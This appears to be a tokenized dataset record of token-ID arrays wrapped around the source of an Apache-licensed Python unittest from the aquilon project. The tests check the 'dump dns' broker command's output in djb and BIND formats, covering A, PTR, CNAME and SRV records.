956,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
428,
706,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
2235,
20989,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
27585,
22951,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
1448,
4023,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
428,
10075,
397,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
11028,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
32708,
775,
63,
8899,
421,
199,
318,
2342,
63,
6942,
837,
272,
408,
272,
12077,
315,
314,
1453,
3734,
367,
377,
87,
23533,
2837,
1326,
1054,
83,
272,
408,
272,
862,
26,
267,
2933,
275,
747,
14,
2314,
905,
16491,
1193,
2090,
63,
18928,
63,
19514,
937,
267,
1526,
275,
747,
14,
2314,
905,
16491,
1193,
2090,
63,
5580,
63,
8803,
937,
267,
372,
2933,
12,
1526,
272,
871,
4067,
26,
267,
372,
488,
12,
488,
421,
199,
533,
377,
87,
23533,
13726,
3041,
8,
785,
304,
272,
408,
272,
437,
1890,
367,
18549,
314,
377,
87,
23533,
14880,
3261,
272,
408,
339,
347,
1056,
8,
277,
12,
931,
12,
1083,
29,
403,
12,
6802,
29,
403,
304,
267,
408,
2464,
795,
282,
1056,
436,
7545,
282,
1177,
687,
314,
377,
87,
23533,
14880,
3261,
398,
2508,
5906,
447,
650,
14,
16,
398,
520,
635,
931,
26,
314,
2851,
334,
6188,
370,
314,
6037,
2851,
12,
2410,
314,
1182,
86,
17,
267,
520,
635,
1166,
26,
314,
3101,
1083,
370,
675,
12,
4243,
370,
8761,
267,
520,
635,
6802,
26,
367,
8761,
503,
18337,
12,
282,
1211,
402,
666,
370,
3222,
398,
520,
5808,
26,
377,
87,
23533,
1177,
315,
4692,
503,
6534,
376,
1919,
641,
1125,
398,
961,
1083,
365,
1454,
5120,
367,
8552,
1013,
1936,
2012,
14872,
14,
267,
2779,
911,
506,
4829,
315,
282,
6466,
1015,
267,
408,
267,
2050,
14,
3764,
20308,
5247,
1705,
22879,
23533,
13726,
3041,
14,
1069,
64,
365,
5906,
436,
298,
717,
298,
14117,
506,
4829,
315,
282,
6466,
1015,
531,
398,
6802,
275,
6802,
503,
1052,
267,
1862,
275,
488,
267,
666,
275,
488,
398,
340,
440,
931,
503,
822,
8,
515,
9,
665,
413,
26,
288,
746,
1722,
360,
3364,
931,
2725,
358,
267,
340,
1083,
436,
1083,
440,
315,
788,
2970,
297,
283,
4030,
297,
283,
7014,
297,
283,
4013,
2565,
288,
746,
4279,
8,
355,
283,
2856,
450,
83,
1083,
440,
6366,
7,
450,
1083,
9,
398,
340,
931,
59,
16,
61,
508,
20549,
288,
5108,
275,
291,
14,
1095,
435,
931,
267,
587,
26,
288,
5108,
275,
291,
14,
1095,
435,
7324,
435,
931,
398,
340,
1083,
508,
298,
2970,
582,
288,
1862,
275,
6802,
267,
916,
1083,
508,
298,
4030,
2,
503,
1083,
508,
298,
4013,
582,
288,
666,
275,
6802,
398,
922,
63,
4054,
275,
298,
8122,
23533,
13,
1548,
450,
83,
334,
1548,
3295,
83,
2924,
450,
334,
288,
25764,
50,
4392,
63,
4612,
12,
288,
4298,
14,
1548,
63,
1023,
1062,
267,
776,
398,
2323,
275,
469,
288,
298,
1899,
13,
7788,
582,
922,
63,
4054,
12,
288,
298,
8422,
13,
28200,
582,
298,
1624,
13,
24,
401,
267,
789,
398,
3085,
275,
1852,
63,
1069,
8,
765,
12,
5108,
12,
1790,
29,
277,
14,
1178,
12,
666,
29,
576,
12,
1169,
1862,
29,
1162,
12,
2323,
29,
2139,
9,
398,
372,
3085,
14,
1317,
339,
347,
636,
826,
721,
277,
12,
2933,
29,
403,
12,
1526,
29,
403,
12,
1300,
628,
2859,
921,
1246,
14,
8122,
23533,
14,
957,
401,
326,
1015,
628,
6542,
13,
966,
13,
614,
401,
1890,
29,
403,
12,
2653,
29,
1734,
3597,
63,
8899,
304,
267,
408,
267,
2790,
282,
377,
87,
23533,
14880,
3261,
1890,
14,
267,
408,
398,
327,
2372,
2933,
6235,
267,
340,
440,
2933,
503,
440,
1526,
26,
288,
2933,
12,
1526,
275,
2342,
63,
6942,
342,
288,
340,
440,
2933,
503,
440,
1526,
26,
355,
746,
377,
87,
23533,
1726,
4852,
199,
22879,
23533,
4293,
440,
2342,
2195,
2933,
6235,
14,
8325,
3062,
1901,
314,
199,
22879,
23533,
13726,
3041,
3787,
2839,
642,
26,
339,
1890,
275,
377,
87,
23533,
13726,
3041,
8,
2048,
534,
1348,
1703,
969,
2481,
18683,
996,
966,
2036,
18836,
7727,
21,
13643,
15790,
297,
2892,
1526,
534,
18,
2327,
9914,
21,
2076,
80,
23,
1152,
16,
76,
11821,
2033,
19,
68,
358,
199,
199,
2844,
12,
1050,
2195,
6235,
370,
2195,
5218,
3734,
14,
11606,
314,
11167,
12,
1255,
339,
11343,
298,
3790,
377,
55,
1193,
2090,
63,
18928,
63,
19514,
29,
1348,
1703,
969,
2481,
18683,
996,
966,
2036,
1367,
13730,
2025,
2,
4331,
25975,
16408,
1195,
272,
11343,
298,
3790,
377,
55,
1193,
2090,
63,
5580,
63,
8803,
29,
18,
2327,
9914,
21,
2076,
80,
23,
1152,
16,
76,
11821,
2033,
19,
68,
23,
87,
364,
2,
4331,
25975,
16408,
1195,
199,
199,
460,
506,
3238,
370,
3350,
314,
1338,
367,
314,
9973,
428,
998,
436,
1790,
1526,
543,
314,
199,
1459,
687,
2195,
377,
87,
23533,
9973,
737,
4178,
921,
1544,
14,
8122,
23533,
14,
957,
15,
751,
15,
2048,
14,
199,
6141,
398,
291,
14,
1095,
275,
1300,
267,
1790,
275,
334,
2048,
12
] |
[
2050,
199,
646,
747,
199,
646,
4298,
199,
504,
8900,
23533,
492,
377,
87,
23533,
1726,
199,
504,
8900,
23533,
492,
636,
1023,
363,
465,
25764,
50,
4392,
63,
4612,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
1852,
63,
1069,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
4473,
6851,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
24636,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
6529,
1759,
8631,
2640,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
28055,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
8256,
1435,
11506,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
10703,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
14409,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
15175,
2640,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
23362,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
12651,
780,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
19894,
956,
83,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
428,
706,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
2235,
20989,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
27585,
22951,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
1448,
4023,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
428,
10075,
397,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
11028,
199,
504,
8900,
23533,
14,
3911,
14,
4435,
492,
32708,
775,
63,
8899,
421,
199,
318,
2342,
63,
6942,
837,
272,
408,
272,
12077,
315,
314,
1453,
3734,
367,
377,
87,
23533,
2837,
1326,
1054,
83,
272,
408,
272,
862,
26,
267,
2933,
275,
747,
14,
2314,
905,
16491,
1193,
2090,
63,
18928,
63,
19514,
937,
267,
1526,
275,
747,
14,
2314,
905,
16491,
1193,
2090,
63,
5580,
63,
8803,
937,
267,
372,
2933,
12,
1526,
272,
871,
4067,
26,
267,
372,
488,
12,
488,
421,
199,
533,
377,
87,
23533,
13726,
3041,
8,
785,
304,
272,
408,
272,
437,
1890,
367,
18549,
314,
377,
87,
23533,
14880,
3261,
272,
408,
339,
347,
1056,
8,
277,
12,
931,
12,
1083,
29,
403,
12,
6802,
29,
403,
304,
267,
408,
2464,
795,
282,
1056,
436,
7545,
282,
1177,
687,
314,
377,
87,
23533,
14880,
3261,
398,
2508,
5906,
447,
650,
14,
16,
398,
520,
635,
931,
26,
314,
2851,
334,
6188,
370,
314,
6037,
2851,
12,
2410,
314,
1182,
86,
17,
267,
520,
635,
1166,
26,
314,
3101,
1083,
370,
675,
12,
4243,
370,
8761,
267,
520,
635,
6802,
26,
367,
8761,
503,
18337,
12,
282,
1211,
402,
666,
370,
3222,
398,
520,
5808,
26,
377,
87,
23533,
1177,
315,
4692,
503,
6534,
376,
1919,
641,
1125,
398,
961,
1083,
365,
1454,
5120,
367,
8552,
1013,
1936,
2012,
14872,
14,
267,
2779,
911,
506,
4829,
315,
282,
6466,
1015,
267,
408,
267,
2050,
14,
3764,
20308,
5247,
1705,
22879,
23533,
13726,
3041,
14,
1069,
64,
365,
5906,
436,
298,
717,
298,
14117,
506,
4829,
315,
282,
6466,
1015,
531,
398,
6802,
275,
6802,
503,
1052,
267,
1862,
275,
488,
267,
666,
275,
488,
398,
340,
440,
931,
503,
822,
8,
515,
9,
665,
413,
26,
288,
746,
1722,
360,
3364,
931,
2725,
358,
267,
340,
1083,
436,
1083,
440,
315,
788,
2970,
297,
283,
4030,
297,
283,
7014,
297,
283,
4013,
2565,
288,
746,
4279,
8,
355,
283,
2856,
450,
83,
1083,
440,
6366,
7,
450,
1083,
9,
398,
340,
931,
59,
16,
61,
508,
20549,
288,
5108,
275,
291,
14,
1095,
435,
931,
267,
587,
26,
288,
5108,
275,
291,
14,
1095,
435,
7324,
435,
931,
398,
340,
1083,
508,
298,
2970,
582,
288,
1862,
275,
6802,
267,
916,
1083,
508,
298,
4030,
2,
503,
1083,
508,
298,
4013,
582,
288,
666,
275,
6802,
398,
922,
63,
4054,
275,
298,
8122,
23533,
13,
1548,
450,
83,
334,
1548,
3295,
83,
2924,
450,
334,
288,
25764,
50,
4392,
63,
4612,
12,
288,
4298,
14,
1548,
63,
1023,
1062,
267,
776,
398,
2323,
275,
469,
288,
298,
1899,
13,
7788,
582,
922,
63,
4054,
12,
288,
298,
8422,
13,
28200,
582,
298,
1624,
13,
24,
401,
267,
789,
398,
3085,
275,
1852,
63,
1069,
8,
765,
12,
5108,
12,
1790,
29,
277,
14,
1178,
12,
666,
29,
576,
12,
1169,
1862,
29,
1162,
12,
2323,
29,
2139,
9,
398,
372,
3085,
14,
1317,
339,
347,
636,
826,
721,
277,
12,
2933,
29,
403,
12,
1526,
29,
403,
12,
1300,
628,
2859,
921,
1246,
14,
8122,
23533,
14,
957,
401,
326,
1015,
628,
6542,
13,
966,
13,
614,
401,
1890,
29,
403,
12,
2653,
29,
1734,
3597,
63,
8899,
304,
267,
408,
267,
2790,
282,
377,
87,
23533,
14880,
3261,
1890,
14,
267,
408,
398,
327,
2372,
2933,
6235,
267,
340,
440,
2933,
503,
440,
1526,
26,
288,
2933,
12,
1526,
275,
2342,
63,
6942,
342,
288,
340,
440,
2933,
503,
440,
1526,
26,
355,
746,
377,
87,
23533,
1726,
4852,
199,
22879,
23533,
4293,
440,
2342,
2195,
2933,
6235,
14,
8325,
3062,
1901,
314,
199,
22879,
23533,
13726,
3041,
3787,
2839,
642,
26,
339,
1890,
275,
377,
87,
23533,
13726,
3041,
8,
2048,
534,
1348,
1703,
969,
2481,
18683,
996,
966,
2036,
18836,
7727,
21,
13643,
15790,
297,
2892,
1526,
534,
18,
2327,
9914,
21,
2076,
80,
23,
1152,
16,
76,
11821,
2033,
19,
68,
358,
199,
199,
2844,
12,
1050,
2195,
6235,
370,
2195,
5218,
3734,
14,
11606,
314,
11167,
12,
1255,
339,
11343,
298,
3790,
377,
55,
1193,
2090,
63,
18928,
63,
19514,
29,
1348,
1703,
969,
2481,
18683,
996,
966,
2036,
1367,
13730,
2025,
2,
4331,
25975,
16408,
1195,
272,
11343,
298,
3790,
377,
55,
1193,
2090,
63,
5580,
63,
8803,
29,
18,
2327,
9914,
21,
2076,
80,
23,
1152,
16,
76,
11821,
2033,
19,
68,
23,
87,
364,
2,
4331,
25975,
16408,
1195,
199,
199,
460,
506,
3238,
370,
3350,
314,
1338,
367,
314,
9973,
428,
998,
436,
1790,
1526,
543,
314,
199,
1459,
687,
2195,
377,
87,
23533,
9973,
737,
4178,
921,
1544,
14,
8122,
23533,
14,
957,
15,
751,
15,
2048,
14,
199,
6141,
398,
291,
14,
1095,
275,
1300,
267,
1790,
275,
334,
2048,
12,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
jrha/aquilon
|
tests/broker/test_dump_dns.py
|
2
|
5412
|
#!/usr/bin/env python2.6
# -*- cpy-indent-level: 4; indent-tabs-mode: nil -*-
# ex: set expandtab softtabstop=4 shiftwidth=4:
#
# Copyright (C) 2011,2013 Contributor
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Module for testing the dump_dns command."""
import unittest
if __name__ == '__main__':
import utils
utils.import_depends()
from brokertest import TestBrokerCommand
def inaddr_ptr(ip):
octets = str(ip).split('.')
octets.reverse()
return "%s.in-addr.arpa" % '.'.join(octets)
class TestDumpDns(TestBrokerCommand):
def test_djb(self):
command = ["dump", "dns"]
out = self.commandtest(command, auth=False)
# Primary name
self.matchoutput(out,
"=unittest20.aqd-unittest.ms.com:%s" %
self.net.unknown[13].usable[2],
command)
# Auxiliary address
self.matchoutput(out,
"+unittest20-e0.aqd-unittest.ms.com:%s" %
self.net.unknown[11].usable[0],
command)
self.matchoutput(out,
"^%s:unittest20.aqd-unittest.ms.com" %
inaddr_ptr(self.net.unknown[11].usable[0]),
command)
# CNAME
self.matchoutput(out,
"Calias2host.aqd-unittest.ms.com:arecord13.aqd-unittest.ms.com",
command)
self.matchoutput(out,
"Calias2alias.aqd-unittest.ms.com:alias2host.aqd-unittest.ms.com",
command)
# SRV
self.matchoutput(out,
r":_kerberos._tcp.aqd-unittest.ms.com:33:\000\012\000\024\000\130\011arecord14\014aqd-unittest\002ms\003com\000",
command)
self.matchoutput(out,
r":_kerberos._tcp.aqd-unittest.ms.com:33:\000\012\000\024\000\130\011arecord15\014aqd-unittest\002ms\003com\000",
command)
self.matchclean(out, "utcolo", command)
def test_djb_domain(self):
command = ["dump", "dns", "--dns_domain", "one-nyp.ms.com"]
out = self.commandtest(command)
self.matchclean(out, "aqd-unittest.ms.com", command)
def test_djb_env(self):
command = ["dump", "dns", "--dns_environment", "ut-env"]
out = self.commandtest(command)
# The primary name is in a different DNS environment, so we can't
# reference it in the reverse record
self.matchoutput(out,
"=unittest25-e1.utcolo.aqd-unittest.ms.com:%s" %
self.net.unknown[1][4],
command)
def test_bind(self):
command = ["dump", "dns", "--format", "raw"]
out = self.commandtest(command)
# Primary name
self.matchoutput(out,
"unittest20.aqd-unittest.ms.com.\tIN\tA\t%s" %
self.net.unknown[13].usable[2],
command)
self.matchoutput(out,
"%s.\tIN\tPTR\tunittest20.aqd-unittest.ms.com." %
inaddr_ptr(self.net.unknown[13].usable[2]),
command)
# Auxiliary address
self.matchoutput(out,
"unittest20-e0.aqd-unittest.ms.com.\tIN\tA\t%s" %
self.net.unknown[11].usable[0],
command)
self.matchoutput(out,
"%s.\tIN\tPTR\tunittest20.aqd-unittest.ms.com." %
inaddr_ptr(self.net.unknown[11].usable[0]),
command)
# CNAME
self.matchoutput(out,
'alias2host.aqd-unittest.ms.com.\tIN\tCNAME\tarecord13.aqd-unittest.ms.com.',
command)
self.matchoutput(out,
'alias2alias.aqd-unittest.ms.com.\tIN\tCNAME\talias2host.aqd-unittest.ms.com.',
command)
# SRV
self.matchoutput(out,
"_kerberos._tcp.aqd-unittest.ms.com.\tIN\tSRV\t"
"10 20 88 arecord14.aqd-unittest.ms.com.",
command)
self.matchoutput(out,
"_kerberos._tcp.aqd-unittest.ms.com.\tIN\tSRV\t"
"10 20 88 arecord15.aqd-unittest.ms.com.",
command)
self.matchclean(out, "utcolo", command)
def test_bind_domain(self):
command = ["dump", "dns", "--dns_domain", "one-nyp.ms.com",
"--format", "raw"]
out = self.commandtest(command)
self.matchclean(out, "aqd-unittest.ms.com", command)
if __name__ == '__main__':
suite = unittest.TestLoader().loadTestsFromTestCase(TestDumpDns)
unittest.TextTestRunner(verbosity=2).run(suite)
|
apache-2.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
18,
14,
22,
199,
3,
1882,
286,
647,
13,
3724,
13,
1896,
26,
841,
27,
4363,
13,
8741,
13,
632,
26,
32644,
1882,
199,
3,
444,
26,
663,
26414,
25966,
29,
20,
20105,
29,
20,
26,
199,
3,
199,
3,
1898,
334,
35,
9,
7760,
12,
6965,
221,
17636,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
624,
2377,
367,
5343,
314,
5461,
63,
5797,
1414,
1041,
199,
199,
646,
2882,
199,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
272,
492,
3778,
272,
3778,
14,
646,
63,
8912,
342,
199,
199,
504,
15416,
396,
492,
1379,
14017,
3110,
421,
199,
318,
315,
2697,
63,
4695,
8,
711,
304,
272,
27135,
275,
620,
8,
711,
680,
1294,
7563,
272,
27135,
14,
4471,
342,
272,
372,
2071,
83,
14,
262,
13,
2697,
14,
285,
387,
2,
450,
15671,
904,
8,
679,
16476,
9,
421,
199,
533,
1379,
11772,
27664,
8,
774,
14017,
3110,
304,
339,
347,
511,
63,
18256,
66,
8,
277,
304,
267,
1414,
275,
2097,
2724,
401,
298,
5797,
937,
267,
734,
275,
291,
14,
1531,
396,
8,
1531,
12,
1790,
29,
797,
9,
267,
327,
26710,
536,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
29,
2796,
1165,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
2689,
83,
2,
450,
586,
291,
14,
846,
14,
5187,
59,
969,
1055,
14418,
59,
18,
467,
586,
1414,
9,
267,
327,
437,
2521,
20524,
2287,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
7210,
2796,
1165,
13,
69,
16,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
2689,
83,
2,
450,
586,
291,
14,
846,
14,
5187,
59,
845,
1055,
14418,
59,
16,
467,
586,
1414,
9,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
18129,
5,
83,
26,
2796,
1165,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
2,
450,
586,
315,
2697,
63,
4695,
8,
277,
14,
846,
14,
5187,
59,
845,
1055,
14418,
59,
16,
2522,
586,
1414,
9,
267,
327,
445,
2339,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
35,
3620,
18,
1102,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
26,
1530,
1577,
969,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
401,
586,
1414,
9,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
35,
3620,
18,
3620,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
26,
3620,
18,
1102,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
401,
586,
1414,
9,
267,
327,
12765,
54,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
519,
582,
63,
2570,
23920,
423,
8815,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
26,
1153,
3427,
1493,
60,
11533,
60,
1493,
60,
5284,
60,
1493,
60,
9056,
60,
13059,
1530,
1577,
1079,
60,
10752,
65,
23097,
13,
2796,
60,
7432,
706,
60,
8262,
957,
60,
1493,
401,
586,
1414,
9,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
519,
582,
63,
2570,
23920,
423,
8815,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
26,
1153,
3427,
1493,
60,
11533,
60,
1493,
60,
5284,
60,
1493,
60,
9056,
60,
13059,
1530,
1577,
1046,
60,
10752,
65,
23097,
13,
2796,
60,
7432,
706,
60,
8262,
957,
60,
1493,
401,
586,
1414,
9,
267,
291,
14,
1431,
3118,
8,
548,
12,
298,
337,
331,
320,
401,
1414,
9,
339,
347,
511,
63,
18256,
66,
63,
2261,
8,
277,
304,
267,
1414,
275,
2097,
2724,
401,
298,
5797,
401,
4320,
5797,
63,
2261,
401,
298,
368,
13,
78,
2279,
14,
706,
14,
957,
937,
267,
734,
275,
291,
14,
1531,
396,
8,
1531,
9,
267,
291,
14,
1431,
3118,
8,
548,
12,
298,
65,
23097,
13,
2796,
14,
706,
14,
957,
401,
1414,
9,
339,
347,
511,
63,
18256,
66,
63,
1813,
8,
277,
304,
267,
1414,
275,
2097,
2724,
401,
298,
5797,
401,
4320,
5797,
63,
5418,
401,
298,
337,
13,
1813,
937,
267,
734,
275,
291,
14,
1531,
396,
8,
1531,
9,
267,
327,
710,
5062,
536,
365,
315,
282,
3365,
10237,
3734,
12,
880,
781,
883,
1133,
267,
327,
3659,
652,
315,
314,
3837,
2777,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
29,
2796,
821,
13,
69,
17,
14,
337,
331,
320,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
2689,
83,
2,
450,
586,
291,
14,
846,
14,
5187,
59,
17,
1527,
20,
467,
586,
1414,
9,
339,
347,
511,
63,
3409,
8,
277,
304,
267,
1414,
275,
2097,
2724,
401,
298,
5797,
401,
4320,
908,
401,
298,
1773,
937,
267,
734,
275,
291,
14,
1531,
396,
8,
1531,
9,
267,
327,
26710,
536,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
2796,
1165,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
3134,
84,
568,
60,
84,
33,
60,
84,
5,
83,
2,
450,
586,
291,
14,
846,
14,
5187,
59,
969,
1055,
14418,
59,
18,
467,
586,
1414,
9,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
2071,
83,
3134,
84,
568,
60,
84,
14528,
60,
84,
2796,
1165,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
2122,
450,
586,
315,
2697,
63,
4695,
8,
277,
14,
846,
14,
5187,
59,
969,
1055,
14418,
59,
18,
2522,
586,
1414,
9,
267,
327,
437,
2521,
20524,
2287,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
2796,
1165,
13,
69,
16,
14
] |
[
2647,
15,
1393,
15,
1813,
2366,
18,
14,
22,
199,
3,
1882,
286,
647,
13,
3724,
13,
1896,
26,
841,
27,
4363,
13,
8741,
13,
632,
26,
32644,
1882,
199,
3,
444,
26,
663,
26414,
25966,
29,
20,
20105,
29,
20,
26,
199,
3,
199,
3,
1898,
334,
35,
9,
7760,
12,
6965,
221,
17636,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
624,
2377,
367,
5343,
314,
5461,
63,
5797,
1414,
1041,
199,
199,
646,
2882,
199,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
272,
492,
3778,
272,
3778,
14,
646,
63,
8912,
342,
199,
199,
504,
15416,
396,
492,
1379,
14017,
3110,
421,
199,
318,
315,
2697,
63,
4695,
8,
711,
304,
272,
27135,
275,
620,
8,
711,
680,
1294,
7563,
272,
27135,
14,
4471,
342,
272,
372,
2071,
83,
14,
262,
13,
2697,
14,
285,
387,
2,
450,
15671,
904,
8,
679,
16476,
9,
421,
199,
533,
1379,
11772,
27664,
8,
774,
14017,
3110,
304,
339,
347,
511,
63,
18256,
66,
8,
277,
304,
267,
1414,
275,
2097,
2724,
401,
298,
5797,
937,
267,
734,
275,
291,
14,
1531,
396,
8,
1531,
12,
1790,
29,
797,
9,
267,
327,
26710,
536,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
29,
2796,
1165,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
2689,
83,
2,
450,
586,
291,
14,
846,
14,
5187,
59,
969,
1055,
14418,
59,
18,
467,
586,
1414,
9,
267,
327,
437,
2521,
20524,
2287,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
7210,
2796,
1165,
13,
69,
16,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
2689,
83,
2,
450,
586,
291,
14,
846,
14,
5187,
59,
845,
1055,
14418,
59,
16,
467,
586,
1414,
9,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
18129,
5,
83,
26,
2796,
1165,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
2,
450,
586,
315,
2697,
63,
4695,
8,
277,
14,
846,
14,
5187,
59,
845,
1055,
14418,
59,
16,
2522,
586,
1414,
9,
267,
327,
445,
2339,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
35,
3620,
18,
1102,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
26,
1530,
1577,
969,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
401,
586,
1414,
9,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
298,
35,
3620,
18,
3620,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
26,
3620,
18,
1102,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
401,
586,
1414,
9,
267,
327,
12765,
54,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
519,
582,
63,
2570,
23920,
423,
8815,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
26,
1153,
3427,
1493,
60,
11533,
60,
1493,
60,
5284,
60,
1493,
60,
9056,
60,
13059,
1530,
1577,
1079,
60,
10752,
65,
23097,
13,
2796,
60,
7432,
706,
60,
8262,
957,
60,
1493,
401,
586,
1414,
9,
267,
291,
14,
1431,
1199,
8,
548,
12,
586,
519,
582,
63,
2570,
23920,
423,
8815,
14,
65,
23097,
13,
2796,
14,
706,
14,
957,
26,
1153,
3427,
